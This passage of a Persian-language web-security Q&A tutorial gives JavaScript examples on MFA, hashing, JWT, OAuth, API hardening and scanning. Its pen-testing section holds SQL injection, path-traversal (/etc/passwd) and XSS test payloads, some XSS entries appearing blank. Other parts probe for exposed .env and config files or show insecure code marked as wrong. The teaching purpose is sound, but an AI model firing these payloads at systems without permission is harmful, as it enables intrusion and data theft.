function generateMFASecret(username) {
    const secret = speakeasy.generateSecret({
        name: `MyApp (${username})`,
        issuer: 'MyApp'
    });
    
    return {
        secret: secret.base32,
        qrCodeUrl: secret.otpauth_url
    };
}

// تولید QR Code
async function generateQRCode(otpauth_url) {
    return await QRCode.toDataURL(otpauth_url);
}

// تأیید کد TOTP
function verifyTOTP(token, secret) {
    return speakeasy.totp.verify({
        secret: secret,
        encoding: 'base32',
        token: token,
        window: 2 // اجازه 2 بازه زمانی (60 ثانیه)
    });
}

// استفاده در فرآیند ورود
app.post('/login', async (req, res) => {
    const { username, password, mfaToken } = req.body;
    
    // مرحله 1: بررسی رمز عبور
    if (!authenticateUser(username, password)) {
        return res.status(401).json({ error: 'Invalid credentials' });
    }
    
    // مرحله 2: بررسی MFA
    const user = getUserByUsername(username);
    if (user.mfaEnabled) {
        if (!mfaToken || !verifyTOTP(mfaToken, user.mfaSecret)) {
            return res.status(401).json({ error: 'Invalid MFA token' });
        }
    }
    
    // ورود موفق
    res.json({ success: true, token: generateJWT(user) });
});
نکته: MFA امنیت را به طور قابل توجهی افزایش می‌دهد، حتی اگر رمز عبور فاش شود.

22. مفهوم Password Hashing چیست؟

پاسخ:

Password Hashing فرآیند تبدیل رمز عبور به یک رشته ثابت و غیرقابل برگشت است که برای ذخیره امن رمزهای عبور استفاده می‌شود.

ویژگی‌های Hash Function مناسب:
  • One-way: غیرقابل برگشت
  • Deterministic: همیشه همان خروجی برای همان ورودی
  • Fixed Output: طول خروجی ثابت
  • Avalanche Effect: تغییر کوچک ورودی، تغییر بزرگ خروجی
الگوریتم‌های Hash مناسب:
  • bcrypt: محبوب و امن
  • scrypt: مقاوم در برابر حملات سخت‌افزاری
  • Argon2: برنده مسابقه Password Hashing
  • PBKDF2: استاندارد قدیمی اما قابل قبول
الگوریتم‌های نامناسب:
  • MD5: شکسته شده
  • SHA1: ناامن
  • SHA256 ساده: بدون salt و cost
// مثال bcrypt
const bcrypt = require('bcrypt');

// Hash کردن رمز عبور
async function hashPassword(plainPassword) {
    const saltRounds = 12; // هزینه محاسباتی
    return await bcrypt.hash(plainPassword, saltRounds);
}

// بررسی رمز عبور
async function verifyPassword(plainPassword, hashedPassword) {
    return await bcrypt.compare(plainPassword, hashedPassword);
}

// مثال Argon2
const argon2 = require('argon2');

async function hashPasswordArgon2(plainPassword) {
    return await argon2.hash(plainPassword, {
        type: argon2.argon2id,
        memoryCost: 2 ** 16, // 64 MB
        timeCost: 3,
        parallelism: 1,
    });
}

async function verifyPasswordArgon2(plainPassword, hashedPassword) {
    return await argon2.verify(hashedPassword, plainPassword);
}

// مثال نادرست - هرگز استفاده نکنید!
const crypto = require('crypto');

// ❌ نادرست - بدون salt
function badHash(password) {
    return crypto.createHash('sha256').update(password).digest('hex');
}

// ❌ نادرست - salt ثابت
function badHashWithFixedSalt(password) {
    return crypto.createHash('sha256').update(password + 'fixedsalt').digest('hex');
}
نکته: همیشه از salt تصادفی و cost factor مناسب استفاده کنید.

23. مفهوم Salt در Password Hashing چیست؟

پاسخ:

Salt یک مقدار تصادفی است که قبل از hash کردن رمز عبور به آن اضافه می‌شود تا از حملات Rainbow Table و Dictionary جلوگیری کند.

مشکلات بدون Salt:
  • Rainbow Table Attacks: جداول از پیش محاسبه شده
  • Dictionary Attacks: حملات فرهنگ لغت
  • Identical Hashes: رمزهای یکسان، hash یکسان
  • Pattern Recognition: تشخیص الگوهای رایج
مثال بدون Salt:
// بدون Salt - ناامن
password: "123456"
hash: "e10adc3949ba59abbe56e057f20f883e"

password: "password"
hash: "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8"

// مشکل: رمزهای یکسان، hash یکسان
user1: "123456" → "e10adc3949ba59abbe56e057f20f883e"
user2: "123456" → "e10adc3949ba59abbe56e057f20f883e" (همان hash!)
مثال با Salt:
// با Salt - امن
user1: "123456" + salt1 → hash1
user2: "123456" + salt2 → hash2 (hash متفاوت!)

// پیاده‌سازی دستی Salt
const crypto = require('crypto');

function generateSalt(length = 16) {
    return crypto.randomBytes(length).toString('hex');
}

function hashPasswordWithSalt(password, salt) {
    return crypto.pbkdf2Sync(password, salt, 10000, 64, 'sha512').toString('hex');
}

// استفاده
const password = "userPassword123";
const salt = generateSalt();
const hash = hashPasswordWithSalt(password, salt);

// ذخیره در پایگاه داده
const userRecord = {
    username: "john_doe",
    salt: salt,
    passwordHash: hash
};

// بررسی رمز عبور
function verifyPassword(inputPassword, storedSalt, storedHash) {
    const inputHash = hashPasswordWithSalt(inputPassword, storedSalt);
    return inputHash === storedHash;
}
بهترین روش‌ها برای Salt:
  • Unique per Password: هر رمز عبور salt منحصر به فرد
  • Cryptographically Random: تولید تصادفی امن
  • Sufficient Length: حداقل 16 بایت
  • Store with Hash: ذخیره همراه با hash
// bcrypt خودکار Salt مدیریت می‌کند
const bcrypt = require('bcrypt');

// bcrypt خودکار salt تولید و ذخیره می‌کند
const hash = await bcrypt.hash('password123', 12);
console.log(hash);
// $2b$12$LQv3c1yqBWVHxkd0LHAkCOYz6TtxMQJqhN8/LewdBPj/RK.s5uIoS

// Salt در ابتدای hash ذخیره شده است:
// $2b$ = algorithm identifier
// 12$ = cost factor
// LQv3c1yqBWVHxkd0LHAkCO = salt (22 characters)
// Yz6TtxMQJqhN8/LewdBPj/RK.s5uIoS = actual hash

// بررسی
const isValid = await bcrypt.compare('password123', hash);
console.log(isValid); // true
نکته: کتابخانه‌های مدرن مثل bcrypt خودکار salt را مدیریت می‌کنند.

24. مفهوم JWT (JSON Web Token) چیست؟

پاسخ:

JWT (JSON Web Token) یک استاندارد باز برای انتقال امن اطلاعات بین طرف‌ها به صورت JSON است که معمولاً برای احراز هویت و مجوزدهی استفاده می‌شود.

ساختار JWT:

JWT شامل سه بخش است که با نقطه (.) از هم جدا می‌شوند:

  • Header: اطلاعات الگوریتم و نوع توکن
  • Payload: داده‌ها (claims)
  • Signature: امضای دیجیتال
مثال JWT:
// ساختار کلی
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

// Header (Base64 decoded)
{
  "alg": "HS256",
  "typ": "JWT"
}

// Payload (Base64 decoded)
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622
}

// Signature
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)
پیاده‌سازی JWT:
const jwt = require('jsonwebtoken');

// تولید JWT
function generateToken(user) {
    const payload = {
        userId: user.id,
        username: user.username,
        role: user.role,
        iat: Math.floor(Date.now() / 1000), // issued at
        exp: Math.floor(Date.now() / 1000) + (60 * 60) // expires in 1 hour
    };
    
    return jwt.sign(payload, process.env.JWT_SECRET, {
        algorithm: 'HS256'
    });
}

// تأیید JWT
function verifyToken(token) {
    try {
        return jwt.verify(token, process.env.JWT_SECRET);
    } catch (error) {
        throw new Error('Invalid token');
    }
}

// Middleware برای احراز هویت
function authenticateToken(req, res, next) {
    const authHeader = req.headers['authorization'];
    const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN
    
    if (!token) {
        return res.status(401).json({ error: 'Access token required' });
    }
    
    try {
        const decoded = verifyToken(token);
        req.user = decoded;
        next();
    } catch (error) {
        return res.status(403).json({ error: 'Invalid or expired token' });
    }
}

// استفاده
app.post('/login', (req, res) => {
    // احراز هویت کاربر
    const user = authenticateUser(req.body.username, req.body.password);
    if (user) {
        const token = generateToken(user);
        res.json({ token });
    } else {
        res.status(401).json({ error: 'Invalid credentials' });
    }
});

app.get('/protected', authenticateToken, (req, res) => {
    res.json({ message: 'Access granted', user: req.user });
});
مزایا و معایب JWT:
  • مزایا: Stateless، قابل حمل، خودکفا
  • معایب: غیرقابل لغو، اندازه بزرگ، امنیت secret
نکته: هرگز اطلاعات حساس را در payload قرار ندهید - JWT قابل decode است.

25. مفهوم OAuth 2.0 چیست؟

پاسخ:

OAuth 2.0 یک چارچوب مجوزدهی است که به برنامه‌های شخص ثالث اجازه دسترسی محدود به سرویس‌های HTTP را می‌دهد بدون اینکه رمز عبور کاربر را فاش کنند.

نقش‌های OAuth 2.0:
  • Resource Owner: کاربر (مالک منابع)
  • Client: برنامه‌ای که دسترسی می‌خواهد
  • Authorization Server: سرور مجوزدهی
  • Resource Server: سرور منابع
انواع Grant Types:
  • Authorization Code: برای برنامه‌های وب
  • Implicit: برای برنامه‌های SPA (منسوخ شده)
  • Client Credentials: برای برنامه‌های سرور به سرور
  • Resource Owner Password: برای برنامه‌های قابل اعتماد
جریان Authorization Code:
// مرحله 1: هدایت کاربر به Authorization Server
const authUrl = 'https://auth.example.com/oauth/authorize?' +
    'response_type=code&' +
    'client_id=your_client_id&' +
    'redirect_uri=https://yourapp.com/callback&' +
    'scope=read_profile&' +
    'state=random_state_string';

window.location.href = authUrl;

// مرحله 2: دریافت Authorization Code در callback
app.get('/callback', async (req, res) => {
    const { code, state } = req.query;
    
    // بررسی state برای جلوگیری از CSRF
    if (state !== expectedState) {
        return res.status(400).send('Invalid state');
    }
    
    // مرحله 3: تبدیل code به access token
    const tokenResponse = await fetch('https://auth.example.com/oauth/token', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: new URLSearchParams({
            grant_type: 'authorization_code',
            code: code,
            redirect_uri: 'https://yourapp.com/callback',
            client_id: 'your_client_id',
            client_secret: 'your_client_secret'
        })
    });
    
    const tokens = await tokenResponse.json();
    // { access_token, refresh_token, expires_in, token_type }
    
    // مرحله 4: استفاده از access token
    const userResponse = await fetch('https://api.example.com/user', {
        headers: {
            'Authorization': `Bearer ${tokens.access_token}`
        }
    });
    
    const userData = await userResponse.json();
    res.json(userData);
});
پیاده‌سازی OAuth Server ساده:
// Authorization Endpoint
app.get('/oauth/authorize', (req, res) => {
    const { client_id, redirect_uri, scope, state } = req.query;
    
    // بررسی client_id و redirect_uri
    if (!isValidClient(client_id, redirect_uri)) {
        return res.status(400).send('Invalid client');
    }
    
    // نمایش صفحه موافقت کاربر
    res.render('consent', { client_id, scope, state, redirect_uri });
});

// Token Endpoint
app.post('/oauth/token', (req, res) => {
    const { grant_type, code, client_id, client_secret } = req.body;
    
    if (grant_type === 'authorization_code') {
        // بررسی authorization code
        const authCode = getAuthorizationCode(code);
        if (!authCode || authCode.client_id !== client_id) {
            return res.status(400).json({ error: 'invalid_grant' });
        }
        
        // تولید access token
        const accessToken = generateAccessToken();
        const refreshToken = generateRefreshToken();
        
        res.json({
            access_token: accessToken,
            token_type: 'Bearer',
            expires_in: 3600,
            refresh_token: refreshToken
        });
    }
});
نکته: OAuth 2.0 برای مجوزدهی است، نه احراز هویت. برای احراز هویت از OpenID Connect استفاده کنید.

26. مفهوم API Security چیست؟

پاسخ:

API Security مجموعه‌ای از روش‌ها و تکنیک‌هاست که برای محافظت از APIها در برابر تهدیدات امنیتی و استفاده غیرمجاز استفاده می‌شود.

تهدیدات رایج API:
  • Broken Authentication: نقص در احراز هویت
  • Excessive Data Exposure: افشای بیش از حد داده
  • Lack of Rate Limiting: عدم محدودیت نرخ درخواست
  • Injection Attacks: حملات تزریق
  • Improper Asset Management: مدیریت نادرست دارایی‌ها
بهترین روش‌های امنیت API:
  • Authentication & Authorization: احراز هویت و مجوزدهی
  • Input Validation: اعتبارسنجی ورودی
  • Rate Limiting: محدودیت نرخ
  • HTTPS Only: فقط HTTPS
  • API Versioning: نسخه‌بندی API
// مثال API امن
const express = require('express');
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');
const validator = require('validator');

const app = express();

// امنیت عمومی
app.use(helmet());
app.use(express.json({ limit: '10mb' }));

// Rate Limiting
const apiLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 دقیقه
    max: 100, // حداکثر 100 درخواست
    message: 'Too many requests from this IP'
});

app.use('/api/', apiLimiter);

// Authentication Middleware
function authenticateAPI(req, res, next) {
    const apiKey = req.headers['x-api-key'];
    const authHeader = req.headers['authorization'];
    
    if (apiKey) {
        // API Key authentication
        if (!isValidApiKey(apiKey)) {
            return res.status(401).json({ error: 'Invalid API key' });
        }
        req.auth = { type: 'api_key', key: apiKey };
    } else if (authHeader) {
        // Bearer token authentication
        const token = authHeader.split(' ')[1];
        try {
            const decoded = jwt.verify(token, process.env.JWT_SECRET);
            req.auth = { type: 'jwt', user: decoded };
        } catch (error) {
            return res.status(401).json({ error: 'Invalid token' });
        }
    } else {
        return res.status(401).json({ error: 'Authentication required' });
    }
    
    next();
}

// Input Validation
function validateUserInput(req, res, next) {
    const { email, age, name } = req.body;
    
    if (email && !validator.isEmail(email)) {
        return res.status(400).json({ error: 'Invalid email format' });
    }
    
    if (age && (!validator.isInt(age.toString()) || age < 0 || age > 150)) {
        return res.status(400).json({ error: 'Invalid age' });
    }
    
    if (name && !validator.isLength(name, { min: 1, max: 100 })) {
        return res.status(400).json({ error: 'Invalid name length' });
    }
    
    next();
}

// API Endpoints
app.get('/api/users', authenticateAPI, (req, res) => {
    // بررسی مجوز
    if (req.auth.type === 'jwt' && req.auth.user.role !== 'admin') {
        return res.status(403).json({ error: 'Insufficient permissions' });
    }
    
    // فیلتر کردن داده‌های حساس
    const users = getAllUsers().map(user => ({
        id: user.id,
        name: user.name,
        email: user.email
        // حذف رمز عبور و سایر اطلاعات حساس
    }));
    
    res.json(users);
});

app.post('/api/users', authenticateAPI, validateUserInput, (req, res) => {
    // ایجاد کاربر جدید
    const newUser = createUser(req.body);
    res.status(201).json({ id: newUser.id, message: 'User created successfully' });
});
API Security Headers:
// تنظیم Security Headers
app.use((req, res, next) => {
    // CORS
    res.header('Access-Control-Allow-Origin', 'https://trusted-domain.com');
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    
    // Security Headers
    res.header('X-Content-Type-Options', 'nosniff');
    res.header('X-Frame-Options', 'DENY');
    res.header('X-XSS-Protection', '1; mode=block');
    res.header('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
    
    next();
});
نکته: همیشه اصل "Least Privilege" را در APIها رعایت کنید.

27. مفهوم Penetration Testing چیست؟

پاسخ:

Penetration Testing (Pen Testing) فرآیند شبیه‌سازی حملات سایبری برای شناسایی آسیب‌پذیری‌ها و نقاط ضعف امنیتی در سیستم‌ها، شبکه‌ها و برنامه‌ها است.

انواع Penetration Testing:
  • Black Box: بدون اطلاعات قبلی از سیستم
  • White Box: با دسترسی کامل به اطلاعات سیستم
  • Gray Box: با اطلاعات محدود از سیستم
مراحل Penetration Testing:
  1. Planning & Reconnaissance: جمع‌آوری اطلاعات
  2. Scanning: شناسایی سرویس‌ها و آسیب‌پذیری‌ها
  3. Gaining Access: بهره‌برداری از آسیب‌پذیری‌ها
  4. Maintaining Access: حفظ دسترسی
  5. Analysis & Reporting: تحلیل و گزارش‌دهی
ابزارهای رایج Pen Testing:
  • Nmap: اسکن شبکه و پورت
  • Burp Suite: تست امنیت برنامه‌های وب
  • Metasploit: فریم‌ورک بهره‌برداری
  • OWASP ZAP: پروکسی امنیت وب
  • Wireshark: تحلیل ترافیک شبکه
// مثال اسکریپت ساده برای تست امنیت
const axios = require('axios');

// تست SQL Injection
async function testSQLInjection(baseUrl) {
    const payloads = [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT * FROM users --"
    ];
    
    for (const payload of payloads) {
        try {
            const response = await axios.get(`${baseUrl}/search?q=${encodeURIComponent(payload)}`);
            
            // بررسی نشانه‌های SQL Injection
            if (response.data.includes('SQL syntax') || 
                response.data.includes('mysql_fetch') ||
                response.data.includes('ORA-')) {
                console.log(`🚨 SQL Injection vulnerability found with payload: ${payload}`);
            }
        } catch (error) {
            // بررسی خطاهای پایگاه داده
            if (error.response && error.response.data.includes('database')) {
                console.log(`⚠️ Potential SQL Injection: ${payload}`);
            }
        }
    }
}

// تست XSS
async function testXSS(baseUrl) {
    const payloads = [
        "
        
        
        "javascript:alert('XSS')"
    ];
    
    for (const payload of payloads) {
        try {
            const response = await axios.post(`${baseUrl}/comment`, {
                content: payload
            });
            
            if (response.data.includes(payload)) {
                console.log(`🚨 XSS vulnerability found with payload: ${payload}`);
            }
        } catch (error) {
            console.log(`Error testing XSS: ${error.message}`);
        }
    }
}

// تست Directory Traversal
async function testDirectoryTraversal(baseUrl) {
    const payloads = [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
    ];
    
    for (const payload of payloads) {
        try {
            const response = await axios.get(`${baseUrl}/file?path=${encodeURIComponent(payload)}`);
            
            if (response.data.includes('root:') || response.data.includes('localhost')) {
                console.log(`🚨 Directory Traversal vulnerability found: ${payload}`);
            }
        } catch (error) {
            // خطاهای 403/404 نشان‌دهنده محافظت است
        }
    }
}

// اجرای تست‌ها
async function runSecurityTests(targetUrl) {
    console.log(`Starting security tests for: ${targetUrl}`);
    
    await testSQLInjection(targetUrl);
    await testXSS(targetUrl);
    await testDirectoryTraversal(targetUrl);
    
    console.log('Security tests completed');
}

// استفاده (فقط روی سیستم‌های مجاز!)
// runSecurityTests('https://your-test-site.com');
هشدار: Penetration Testing فقط باید روی سیستم‌هایی انجام شود که مجوز کتبی دارید!

28. مفهوم Vulnerability Assessment چیست؟

پاسخ:

Vulnerability Assessment فرآیند سیستماتیک شناسایی، طبقه‌بندی و اولویت‌بندی آسیب‌پذیری‌های امنیتی در سیستم‌ها، شبکه‌ها و برنامه‌ها است.

تفاوت با Penetration Testing:
  • Vulnerability Assessment: شناسایی آسیب‌پذیری‌ها
  • Penetration Testing: بهره‌برداری از آسیب‌پذیری‌ها
انواع Vulnerability Assessment:
  • Network-based: اسکن شبکه و سرویس‌ها
  • Host-based: بررسی سیستم‌عامل و برنامه‌ها
  • Application-based: تست امنیت برنامه‌ها
  • Database-based: بررسی امنیت پایگاه داده
مراحل Vulnerability Assessment:
  1. Asset Discovery: شناسایی دارایی‌ها
  2. Vulnerability Scanning: اسکن آسیب‌پذیری
  3. Analysis & Validation: تحلیل و اعتبارسنجی
  4. Risk Assessment: ارزیابی ریسک
  5. Reporting: گزارش‌دهی
  6. Remediation: اقدامات اصلاحی
ابزارهای Vulnerability Scanning:
  • Nessus: اسکنر آسیب‌پذیری تجاری
  • OpenVAS: اسکنر متن‌باز
  • Qualys: پلتفرم ابری
  • Rapid7 Nexpose: راه‌حل سازمانی
// مثال اسکریپت Vulnerability Assessment ساده
const axios = require('axios');
const https = require('https');

class VulnerabilityScanner {
    constructor(target) {
        this.target = target;
        this.vulnerabilities = [];
    }
    
    // بررسی SSL/TLS
    async checkSSL() {
        try {
            const response = await axios.get(this.target, {
                httpsAgent: new https.Agent({
                    rejectUnauthorized: false
                })
            });
            
            // بررسی هدرهای امنیتی
            const headers = response.headers;
            
            if (!headers['strict-transport-security']) {
                this.addVulnerability('Missing HSTS header', 'Medium');
            }
            
            if (!headers['x-content-type-options']) {
                this.addVulnerability('Missing X-Content-Type-Options header', 'Low');
            }
            
            if (!headers['x-frame-options']) {
                this.addVulnerability('Missing X-Frame-Options header', 'Medium');
            }
            
        } catch (error) {
            if (error.code === 'CERT_HAS_EXPIRED') {
                this.addVulnerability('SSL Certificate Expired', 'High');
            }
        }
    }
    
    // بررسی اطلاعات افشا شده
    async checkInformationDisclosure() {
        try {
            const response = await axios.get(`${this.target}/server-status`);
            if (response.status === 200) {
                this.addVulnerability('Apache Server Status Page Exposed', 'Medium');
            }
        } catch (error) {
            // خطای 404 یا 403 طبیعی است
        }
        
        try {
            const response = await axios.get(`${this.target}/.git/config`);
            if (response.status === 200) {
                this.addVulnerability('Git Repository Exposed', 'High');
            }
        } catch (error) {
            // خطای 404 یا 403 طبیعی است
        }
    }
    
    // بررسی Directory Listing
    async checkDirectoryListing() {
        const directories = ['/uploads/', '/images/', '/files/', '/backup/'];
        
        for (const dir of directories) {
            try {
                const response = await axios.get(`${this.target}${dir}`);
                if (response.data.includes('Index of') || 
                    response.data.includes('Directory listing')) {
                    this.addVulnerability(`Directory Listing Enabled: ${dir}`, 'Low');
                }
            } catch (error) {
                // خطای 404 یا 403 طبیعی است
            }
        }
    }
    
    // بررسی فایل‌های حساس
    async checkSensitiveFiles() {
        const sensitiveFiles = [
            '/robots.txt',
            '/.env',
            '/config.php',
            '/wp-config.php',
            '/database.yml'
        ];
        
        for (const file of sensitiveFiles) {
            try {
                const response = await axios.get(`${this.target}${file}`);
                if (response.status === 200) {
                    this.addVulnerability(`Sensitive File Exposed: ${file}`, 'Medium');
                }
            } catch (error) {
                // خطای 404 طبیعی است
            }
        }
    }
    
    addVulnerability(description, severity) {
        this.vulnerabilities.push({
            description,
            severity,
            timestamp: new Date().toISOString()
        });
    }
    
    async scan() {
        console.log(`Starting vulnerability assessment for: ${this.target}`);
        
        await this.checkSSL();
        await this.checkInformationDisclosure();
        await this.checkDirectoryListing();
        await this.checkSensitiveFiles();
        
        return this.generateReport();
    }
    
    generateReport() {
        const report = {
            target: this.target,
            scanDate: new Date().toISOString(),
            totalVulnerabilities: this.vulnerabilities.length,
            severityBreakdown: {
                high: this.vulnerabilities.filter(v => v.severity === 'High').length,
                medium: this.vulnerabilities.filter(v => v.severity === 'Medium').length,
                low: this.vulnerabilities.filter(v => v.severity === 'Low').length
            },
            vulnerabilities: this.vulnerabilities
        };
        
        console.log('Vulnerability Assessment Report:');
        console.log(JSON.stringify(report, null, 2));
        
        return report;
    }
}

// استفاده
// const scanner = new VulnerabilityScanner('https://example.com');
// scanner.scan();
نکته: Vulnerability Assessment باید به طور منظم و مداوم انجام شود.

29. مفهوم Security Headers چیست؟

پاسخ:

Security Headers هدرهای HTTP هستند که توسط سرور ارسال می‌شوند تا به مرورگر دستورالعمل‌های امنیتی ارائه دهند و از انواع مختلف حملات محافظت کنند.

هدرهای امنیتی مهم:
  • Content-Security-Policy (CSP): کنترل منابع قابل بارگذاری
  • Strict-Transport-Security (HSTS): اجبار استفاده از HTTPS
  • X-Frame-Options: جلوگیری از Clickjacking
  • X-Content-Type-Options: جلوگیری از MIME Sniffing
  • Referrer-Policy: کنترل اطلاعات Referrer
پیاده‌سازی Security Headers:
// Express.js با helmet
const helmet = require('helmet');

app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.jsdelivr.net"],
            styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
            imgSrc: ["'self'", "data:", "https:"],
            fontSrc: ["'self'", "https://fonts.gstatic.com"],
            connectSrc: ["'self'", "https://api.example.com"]
        }
    },
    hsts: {
        maxAge: 31536000, // 1 سال
        includeSubDomains: true,
        preload: true
    }
}));

// تنظیم دستی هدرها
app.use((req, res, next) => {
    // HSTS - اجبار HTTPS
    res.setHeader('Strict-Transport-Security', 
        'max-age=31536000; includeSubDomains; preload');
    
    // X-Frame-Options - جلوگیری از Clickjacking
    res.setHeader('X-Frame-Options', 'DENY');
    
    // X-Content-Type-Options - جلوگیری از MIME Sniffing
    res.setHeader('X-Content-Type-Options', 'nosniff');
    
    // X-XSS-Protection - فعال‌سازی فیلتر XSS مرورگر
    res.setHeader('X-XSS-Protection', '1; mode=block');
    
    // Referrer-Policy - کنترل اطلاعات Referrer
    res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
    
    // Permissions-Policy - کنترل ویژگی‌های مرورگر
    res.setHeader('Permissions-Policy', 
        'camera=(), microphone=(), geolocation=()');
    
    next();
});
Content Security Policy (CSP) پیشرفته:
// CSP با nonce برای اسکریپت‌های inline
const crypto = require('crypto');

app.use((req, res, next) => {
    // تولید nonce تصادفی
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.nonce = nonce;
    
    const csp = [
        "default-src 'self'",
        `script-src 'self' 'nonce-${nonce}' https://trusted-cdn.com`,
        "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
        "img-src 'self' data: https:",
        "font-src 'self' https://fonts.gstatic.com",
        "connect-src 'self' https://api.example.com",
        "frame-ancestors 'none'",
        "base-uri 'self'",
        "form-action 'self'"
    ].join('; ');
    
    res.setHeader('Content-Security-Policy', csp);
    next();
});

// در HTML template
// <script nonce="<%= nonce %>">
//     console.log('This script is allowed');
// </script>
بررسی Security Headers:
// اسکریپت بررسی Security Headers
const axios = require('axios');

async function checkSecurityHeaders(url) {
    try {
        const response = await axios.get(url);
        const headers = response.headers;
        
        const securityHeaders = {
            'strict-transport-security': 'HSTS',
            'content-security-policy': 'CSP',
            'x-frame-options': 'X-Frame-Options',
            'x-content-type-options': 'X-Content-Type-Options',
            'x-xss-protection': 'X-XSS-Protection',
            'referrer-policy': 'Referrer-Policy'
        };
        
        console.log(`Security Headers Analysis for: ${url}\n`);
        
        for (const [header, name] of Object.entries(securityHeaders)) {
            if (headers[header]) {
                console.log(`✅ ${name}: ${headers[header]}`);
            } else {
                console.log(`❌ ${name}: Missing`);
            }
        }
        
        // بررسی کیفیت CSP
        if (headers['content-security-policy']) {
            const csp = headers['content-security-policy'];
            if (csp.includes("'unsafe-eval'")) {
                console.log(`⚠️  CSP Warning: 'unsafe-eval' detected`);
            }
            if (csp.includes("'unsafe-inline'")) {
                console.log(`⚠️  CSP Warning: 'unsafe-inline' detected`);
            }
        }
        
    } catch (error) {
        console.error(`Error checking headers: ${error.message}`);
    }
}

// استفاده
// checkSecurityHeaders('https://example.com');
نکته: Security Headers لایه دفاعی اضافی هستند و جایگزین سایر تدابیر امنیتی نیستند.

30. مفهوم Secure Coding Practices چیست؟

پاسخ:

Secure Coding Practices مجموعه‌ای از اصول، روش‌ها و تکنیک‌هاست که توسعه‌دهندگان برای نوشتن کد امن و مقاوم در برابر حملات سایبری استفاده می‌کنند.

اصول اساسی Secure Coding:
  • Input Validation: اعتبارسنجی تمام ورودی‌ها
  • Output Encoding: رمزگذاری خروجی‌ها
  • Least Privilege: حداقل امتیازات
  • Defense in Depth: دفاع چندلایه
  • Fail Securely: شکست امن
مثال کد ناامن و اصلاح آن:
// ❌ کد ناامن - SQL Injection
function getUserByEmail(email) {
    const query = `SELECT * FROM users WHERE email = '${email}'`;
    return database.query(query);
}

// ✅ کد امن - Prepared Statement
function getUserByEmail(email) {
    const query = 'SELECT * FROM users WHERE email = ?';
    return database.query(query, [email]);
}

// ❌ کد ناامن - XSS
function displayUserComment(comment) {
    document.getElementById('comment').innerHTML = comment;
}

// ✅ کد امن - Output Encoding
function displayUserComment(comment) {
    const sanitized = escapeHtml(comment);
    document.getElementById('comment').textContent = sanitized;
}

function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// ❌ کد ناامن - Path Traversal
app.get('/file/:filename', (req, res) => {
    const filename = req.params.filename;
    res.sendFile(`./uploads/${filename}`);
});

// ✅ کد امن - Path Validation
const path = require('path');

app.get('/file/:filename', (req, res) => {
    const filename = req.params.filename;
    
    // اعتبارسنجی نام فایل
    if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
        return res.status(400).send('Invalid filename');
    }
    
    const filePath = path.join(__dirname, 'uploads', filename);
    
    // بررسی اینکه فایل در دایرکتوری مجاز است
    if (!filePath.startsWith(path.join(__dirname, 'uploads'))) {
        return res.status(403).send('Access denied');
    }
    
    res.sendFile(filePath);
});
Secure Coding Checklist:
  • ✅ Input Validation: تمام ورودی‌ها اعتبارسنجی شده‌اند
  • ✅ SQL Injection: از Prepared Statements استفاده شده
  • ✅ XSS Prevention: خروجی‌ها encode شده‌اند
  • ✅ CSRF Protection: توکن‌های CSRF پیاده‌سازی شده
  • ✅ Authentication: احراز هویت قوی
  • ✅ Authorization: کنترل دسترسی صحیح
  • ✅ Error Handling: مدیریت امن خطاها
  • ✅ Logging: لاگ‌گیری رویدادهای امنیتی
مثال کلاس امن برای مدیریت کاربران:
const bcrypt = require('bcrypt');
const validator = require('validator');

class SecureUserManager {
    constructor(database) {
        this.db = database;
    }
    
    // ایجاد کاربر امن
    async createUser(userData) {
        const { email, password, name } = userData;
        
        // اعتبارسنجی ورودی
        if (!validator.isEmail(email)) {
            throw new Error('Invalid email format');
        }
        
        if (!this.isStrongPassword(password)) {
            throw new Error('Password does not meet security requirements');
        }
        
        if (!validator.isLength(name, { min: 1, max: 100 })) {
            throw new Error('Invalid name length');
        }
        
        // بررسی تکراری نبودن ایمیل
        const existingUser = await this.getUserByEmail(email);
        if (existingUser) {
            throw new Error('Email already exists');
        }
        
        // هش کردن رمز عبور
        const hashedPassword = await bcrypt.hash(password, 12);
        
        // ذخیره در پایگاه داده
        const query = 'INSERT INTO users (email, password_hash, name, created_at) VALUES (?, ?, ?, ?)';
        const result = await this.db.query(query, [
            email,
            hashedPassword,
            name,
            new Date()
        ]);
        
        // لاگ‌گیری
        console.log(`New user created: ${email}`);
        
        return { id: result.insertId, email, name };
    }
    
    // احراز هویت امن
    async authenticateUser(email, password) {
        if (!validator.isEmail(email)) {
            throw new Error('Invalid email format');
        }
        
        const user = await this.getUserByEmail(email);
        if (!user) {
            // تأخیر برای جلوگیری از timing attacks
            await bcrypt.hash('dummy', 12);
            throw new Error('Invalid credentials');
        }
        
        const isValid = await bcrypt.compare(password, user.password_hash);
        if (!isValid) {
            // لاگ‌گیری تلاش ناموفق
            console.log(`Failed login attempt for: ${email}`);
            throw new Error('Invalid credentials');
        }
        
        // لاگ‌گیری ورود موفق
        console.log(`Successful login: ${email}`);
        
        return {
            id: user.id,
            email: user.email,
